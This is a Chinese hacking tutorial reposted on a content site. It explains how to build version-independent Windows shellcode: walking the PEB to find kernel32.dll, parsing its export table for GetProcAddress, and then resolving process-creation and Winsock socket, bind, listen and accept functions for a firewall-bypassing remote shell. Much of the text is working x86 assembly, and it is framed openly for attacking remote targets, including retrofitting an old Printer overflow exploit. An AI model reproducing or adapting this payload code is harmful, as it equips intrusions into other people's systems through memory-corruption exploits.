让ShellCode突破系统版本限制 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    在编写突破防火墙的ShellCode时,由于篇幅的原因,只用了固定的函数地址,实现了重用本机端口地址的功能;为了让其更具有实用性,在这里加入动态获取ShellCode函数地址部分,这样生成的ShellCode就可以实现通用了,

让ShellCode突破系统版本限制

。注意:这可是外面找不到的,真正可用的ShellCode哦!

    动态获取函数地址的原因

    上次已经讲过,Windows下函数的执行过程是先将参数压入堆栈,再直接Call函数的地址。比如执行WSAStartup(0x202, &wsa),就是:

    sub esp, 0x200

    push esp //第二个参数&wsa入栈

    push 0x202 //第一个参数0x202入栈

    call 0x71a241da //0x71a241da为WSAStartup在XP sp0中的地址

    参数的入栈都简单,但最后一步就有点麻烦了,因为Windows系统有诸多的版本,如Windows 98/NT/2000/XP/2003等,而且每个版本又有很多不同的补丁集,如SP0,SP1等。同一个函数,在不同的版本或补丁集系统中,地址会不一样。如果我们直接写成“Call 0x71a241da”的形式,那么在非Windows XP SP0的系统中就不能正确执行了。

    在Windows 2000 SP2年代,经典的Printer,Ida、Idq等溢出利用工具都有一个选项——选择目标计算机的SP版本。现在你应该清楚了吧?这个项的作用就是对不同SP的目标系统使用不同函数地址的ShellCode。但是预先得知对方的系统,特别是补丁号是件很困难的事,没有管理员账号的情况下,想远程获得对方系统的SP号,理论上是不太可能的。如果穷举测试,现在Windows 2000有5个,Windows XP也有3个不同的SP,一次次不断地试ShellCode非常麻烦,而且一些漏洞只能攻击一次,如果失败就只能等待对方重启后才能再攻击,所以我们需要一种方法,动态获得当前目标计算机上的版本信息或真正的函数地址。获得真正的函数地址后,再Call该地址就可以保证在不同的系统都能正确地执行ShellCode了。

    动态获取地址思路

    如何动态获得函数地址呢?我们想想,因为远程探测知道对方的SP号一般不可能,那么就只能在对方机器上获得SP号或函数地址,而缓冲区溢出时,ShellCode的执行流程是:溢出->覆盖返回点->进入ShellCode执行(如果对该流程还不熟悉,多看看以前黑防的文章)。正好,ShellCode是在对方机器上执行的,而能否进入ShellCode只和JMP ESP或POP POP RET指令的地址有关,所以我们可以考虑刚进入ShellCode时,就作获取SP号或函数地址的工作。

    在正常情况下,获得函数地址一般是使用LoadLibrary和GetProcAddress来完成的。在上次的文章中,使用该方法获得地址的抓图如图1所示。

    图1

    类似的,我们可以在ShellCode中,先用GetProcAddress函数获得其它函数的地址,这就是当时所在的目标系统上的地址;除了GetProcAddress外,还需要知道LoadLibrary的地址;我们就可以利用这两个函数来动态获得其它函数的地址并存起来;以后要调用函数的时候,就使用查找出来的地址,从而完成具有通用性的ShellCode。

    思路是这样,但GetProcAddress和LoadLibrary如何得到呢?LoadLibrary函数是在Kernel32.dll中,任何程序都会加载Kernel32.dll,所以LoadLibrary函数的地址也可以通过GetProcAddress来获得。那么就只剩下获得GetProcAddress函数地址的问题了。

    GetProcAddress函数位于Kernel32.dll中,是Kernel32.dll的引出函数,那么我们搜索Kernel32.dll的引出表,就一定会找到GetProcAddress函数的地址。但首先Kernel32.dll的地址在那儿呢?不同的系统都一样么?

    不同的系统中,Kernel32.dll的地址是不一样的,但我们可以通过Windows的系统结构来获得Kernel32.dll的基址。获得Kernel32.dll地址的方法很多,但比较优雅的是利用PEB结构来获得。简单来说步骤如下:

    1. fs寄存器指向TEB结构;

    2. 在TEB+0x30地方指向PEB结构;

    3. 在PEB+0x0C地方指向PEB_LDR_DATA结构。

    在PEB_LDR_DATA+0x1C地方就是一些动态连接库的地址了,如第一个指向ntdll.dll,第二个就是Kernel32.dll的地址。更直接的汇编代码实现为:

    mov eax, fs:0x30 ;PEB的地址

    mov eax, [eax + 0x0c] ;Ldr的地址

    mov esi, [eax + 0x1c] ;Flink地址

    lodsd

    mov eax, [eax + 0x08] ;eax就是Kernel32.dll的地址

    测试一下,在VC中用__asm关键字嵌入汇编,调试,得到本机上的Kernel32.dll地址为0x77E40000,如下图2所示,果然正确,和图1中的值一样。

    图2

    找到了Kernel32.dll的地址后,我们奔向想要的GetProcAddress函数的地址吧。方法就是利用Kernel32.dll中的引出表!

    小知识:在Windows下,每个DLL都有引出表,指明该DLL里面实现的函数有那些,名称是什么,地址为多少。这样外部程序可以方便的调用DLL里实现的函数,而不必关心实现的具体细节。

    PE头部偏移在Kerner32.dll基址+0x3C的地方,而引出表的位置在Kerner32.dll基地址+PE头部地址+0x78的地方。引出表的结构如下:

    Typedef struct _IMAGE_EXPORT_DIRECTORY

    {

    Characteristics; 4

    TimeDateStamp 4

    MajorVersion 2

    MinorVersion 2

    Name 4 DLL模块名字

    Base 4 基数,加上序数就是函数地址数组的索引值

    NumberOfFunctions 4

    NumberOfNames 4

    AddressOfFunctions 4 指向函数地址数组

    AddressOfNames 4 函数名字的指针地址

    AddressOfNameOrdinal 4 指向输出序列号数组

    }

    结构虽然复杂,但和获得函数地址相关的只是最后几项。举个具体的例子来看,如图3所示。

    图3

    NumberOfFunctions字段:为AddressOfFunctions指向的函数地址数组的个数,这个例子中,这里是3;

    NumberOfName字段:为AddressOfNames指向的函数名称数组的个数,这里是2;

    AddressOfFunctions字段:指向模块中所有函数地址的数组;

    AddressOfNames字段:指向模块中所有函数名称的数组;

    AddressOfNameOrdinals字段:指向AddressOfNames数组中函数对应序数的数组。

    在通过函数名称查找函数地址时,先在函数名称数组AddressOfNames中,找到想查找的函数名,然后在函数序号数组AddressOfNameOrdinals中,得到对应的函数序号,最后根据这个序号,在函数地址数组AddressOfFunctions中,得到函数对应的地址值。比如在这个引出表例子中,我们想得到函数WW3()的地址,步骤如下:

    首先从AddressOfNames开始,依次在函数名数组中查找与函数名称WW3相同的项,可以看到,WW3在AddressOfNames中是第二项;

    然后,在AddressOfNameOrdinals中,查看第二个项里存的序号值是多少,这里是3;

    最后,根据序号3,在AddressOfFunctions数组的第3个函数地址项中,查找出WW3函数的地址为0x400303。

    把上面的所有流程合起来,得到过程为:

    第一步: 通过TEB/PEB获取Kernel32.dll基址;

    第二步: 在(Kernel32基址+0x3c)处获取PE头部基址;

    第三步: 在(Kernel32基址+PE头部基址+0x78)处获取引出表地址(后面为描述方便简称export);

    第四步: 在(Kernel32基址+export+0x1c)处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse;

    第五步: 搜索AddressOfNames,确定、"GetProcAddress"所对应的index;

    第六步: index = AddressOfNameOrdinalse [ index ];函数地址 = AddressOfFunctions [ index ],

电脑资料

让ShellCode突破系统版本限制》(https://www.unjs.com)。

    其对应的汇编为下:

    __asm

    {

    mov ebp, 0x77E40000 ;Kernel32.dll 基址

    mov eax, [ebp+3Ch] ;eax = PE首部

    mov edx,[ebp+eax+78h]

    add edx,ebp ;edx = 引出表地址

    mov ecx , [edx+18h] ;ecx = 输出函数的个数

    mov ebx,[edx+20h]

    add ebx, ebp ;ebx =函数名地址,AddressOfName

    search:

    dec ecx

    mov esi,[ebx+ecx*4]

    add esi,ebp ;依次找每个函数名称

    ;GetProcAddress

    mov eax,0x50746547

    cmp [esi], eax; 比较'PteG'

    jne search

    mov eax,0x41636f72

    cmp [esi+4],eax; 比较'Acor'

    jne search

    ;如果是GetProcA,表示在AddressOfName中找到了

    mov ebx,[edx+24h]

    add ebx,ebp ;ebx = 序号数组地址,AddressOf

    mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值

    mov ebx,[edx+1Ch]

    add ebx,ebp ;ebx = 函数地址的起始位置,AddressOfFunction

    mov eax,[ebx+ecx*4]

    add eax,ebp ;利用序号值,得到出GetProcAddress的地址

    动态获取函数地址

    有了前面这些基础,我们可以把突破防火墙的ShellCode改为通用版本。上次的代码是将固定的函数地址直接放在数组中,等待后面调用,这里我们就加上一段动态获得函数地址,然后再存入数组中的代码:

    push ebp;

    sub esp, 50;

    mov ebp,esp;

    中间为上面的获取GetProcAddress地址的代码,参看上面,这里略

    mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中

    ;有了GetProcAddress函数地址后,可以查找 LoadLibrary的地址了。

    push 0x0

    push dword ptr 0x41797261

    push dword ptr 0x7262694c

    push dword ptr 0x64616f4c ;在堆栈中构造LoadLibraryA字符串

    push esp

    push edi

    call [ebp+40h] ; GetProcAddress(Kernel32基址, "LoadLibraryA")

    mov [ebp+44h], eax; LoadLibraryA ;把LoadLibraryA的地址存在ebp+0x44中

    ;GetProcAddress和LoadLibrary两个函数的地址都有了,开始查找其他函数的地址。

    ;第一个查找CreateProcessA的地址,也是在Kernel32中的

    push dword ptr 0x00004173

    push dword ptr 0x7365636f

    push dword ptr 0x72506574

    push dword ptr 0x61657243

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+4], eax; CreateProcessA地址

    ;查找Ws2_32中的函数地址了,首先是加载Ws2_32这个dll

    push dword ptr 0x00003233

    push dword ptr 0x5f327357

    push esp

    call [ebp+44h] ;LoadLibrary(Ws2_32)

    mov edi, eax

    ;查找WSAStartup地址

    push dword ptr 0x00007075

    push dword ptr 0x74726174

    push dword ptr 0x53415357

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+8], eax; WSAStartup 0x00007075 0x74726174 0x53415357

    ; 查找WSASocketA地址

    push dword ptr 0x00004174

    push dword ptr 0x656B636f

    push dword ptr 0x53415357

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+12h], eax; socket 0x00007465 0x6b636f73

    ;查找setsockopt地址

    push dword ptr 0x00007470

    push dword ptr 0x6F6B636F

    push dword ptr 0x73746573

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+16h], eax;

    ;查找bind

    push dword ptr 0

    push dword ptr 0x646e6962

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+20h], eax; bind 0x646e6962

    ;查找listen

    push dword ptr 0x00006e65

    push dword ptr 0x7473696c

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+24h], eax; listen 0x00006e65 0x7473696c

    ;查找accept

    push dword ptr 0x00007470

    push dword ptr 0x65636361

    push esp

    push edi

    call [ebp+40h]

    mov [ebp+28h], eax; accept 0x00007470 0x65636361

    加上动态获取函数以后,后面的代码不变,连起来测试一下,具体代码参看光盘。如下图4所示。

    图4

    成功了,看到了吗?明白了方法,不费多少功夫把实现代码写出来,这是件很惬意的事。

    通过上面的方法,我们就得到了不同系统都完全通用的代码,无论对方是什么版本和语言的Windows系统,都可以用这种方法打造绝对通用的ShellCode!如果想怀怀旧,可以把以前的Printer溢出利用程序改改,改成通用的ShellCode,就可以不带那个对方系统版本的参数了

最新文章